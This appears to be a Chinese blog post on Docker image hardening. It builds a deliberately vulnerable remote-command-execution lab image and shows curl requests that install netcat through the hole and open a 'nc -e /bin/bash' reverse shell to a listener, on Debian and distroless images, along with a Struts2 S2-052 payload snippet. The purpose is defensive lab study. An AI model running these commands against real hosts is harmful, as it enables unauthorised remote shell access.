标签:使用 开始 构建 发送 rgs etc 增加 功能 语言
天天都在说优化 Dockerfile。到底怎么优化, 优化后的检验指标又是什么?没有考虑清楚行动目的, 隔空放炮, 必然徒劳无功。笔者最近准备在 CI 上增加安全检测, 在分析案例样本的时候, 找到了比较流行的 struts2 漏洞, 其中 S2-052 远程代码执行漏洞 的利用方式就是在 POST 请求中添加恶意代码或命令。
如 Demo 片段所示。
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
既然可以远程执行命令了, 那么如何拿到服务器权限也就是必然考虑的事情, 如 webshell 、 shell 反弹 等 。
在翻阅的搜索引擎靠前《常见 shell 反弹方式和利用》的文章之后,总结如下。
shell 反弹 即 使用 1. 任意方式 将 2. /bin/sh 通过 3. 网络连接 方式连接到 4. ***机
其中 任意方式 常见为:
使用各种 程序命令 创建 shell 网络通信
使用各种 编程语言 即使构造 shell 网络通信, 对于解释型语言而言,即为依赖运行环境。
以上 4个 条件中, 在预设环境中, 能管理的就有 1. 任意方式 和 2. /bin/sh。优化镜像目标已经很明确了, 精简环境, 减少 1. 和 2. 的存在
根据目标, 设计了一个靶机, 功能是将 POST 的命令直接转换成命令执行。代码已经放在 Github 上, 任意命令执行漏洞靶机 。
并产出了两个容器镜像。
doslab/vulhub-reflect2:latest 使用 debian 官方镜像
## debian:buster
docker run --rm -d -p 8081:8080 doslab/vulhub-reflect2:latest
## distroless/debian-static10
docker run --rm -d -p 8082:8080 doslab/vulhub-reflect2:static
向接口发送 JSON 数据, 方式如下
curl -X POST http://127.0.0.1:8081/v0/cmd -d ‘{
"command":"ls",
"args":["-l","-a","-h"]
}‘
nc -nvlp 4444
# latest
## nc -v 192.168.233.3 4444 -e /bin/bash
curl -X POST http://192.168.233.3:8081/v0/cmd -d ‘{
"command":"bash",
"args":["--version"]
}‘
curl -X POST http://192.168.233.3:8081/v0/cmd -d ‘{
"command":"apt",
"args":["update"]
}‘
curl -X POST http://192.168.233.3:8081/v0/cmd -d ‘{
"command":"apt",
"args":["install", "-y", "netcat"]
}‘
curl -X POST http://192.168.233.3:8081/v0/cmd -d ‘{
"command":"nc",
"args":["-v", "192.168.233.3", "4444", "-e", "/bin/bash"]
}‘
攻 击机 准备监听端口 5555
nc -nvlp 5555
漏洞利用
# static
curl -X POST http://192.168.233.3:8082/v0/cmd -d ‘{
"command":"bash",
"args":["--version"]
}‘
curl -X POST http://192.168.233.3:8082/v0/cmd -d ‘{
"command":"apt",
"args":["update"]
}‘
curl -X POST http://192.168.233.3:8082/v0/cmd -d ‘{
"command":"apt",
"args":["install", "-y", "netcat"]
}‘
curl -X POST http://192.168.233.3:8082/v0/cmd -d ‘{
"command":"nc",
"args":["-v", "192.168.233.3", "5555", "-e", "/bin/bash"]
}‘
在使用了 google distroless 镜像 之后, 在一定程度上阻止了服务漏洞带来的** 常见 shell 反弹***** 。尤其是在类似 golang 这类编译型的语言, 运行环境需求相对简单。
所以, 在管理 Dockerfile 时
可被利用的漏洞或方式越少
2 . 干净整洁的 docker context 环境
3 . 合理的命令层级顺序, 以达到更多的 layer 复用。
其他 Dockerfile 使用探究, 可以阅读
使用 Dockerfile 构建镜像注意事项
Dockerfile 中 ARG 的使用与其的作用域探究
反弹Shell原理及检测技术研究
linux各种一句话反弹shell总结
学习 shell 反弹实现, 优化 Docker 基础镜像安全
标签:使用 开始 构建 发送 rgs etc 增加 功能 语言
原文地址:https://blog.51cto.com/15061934/2568358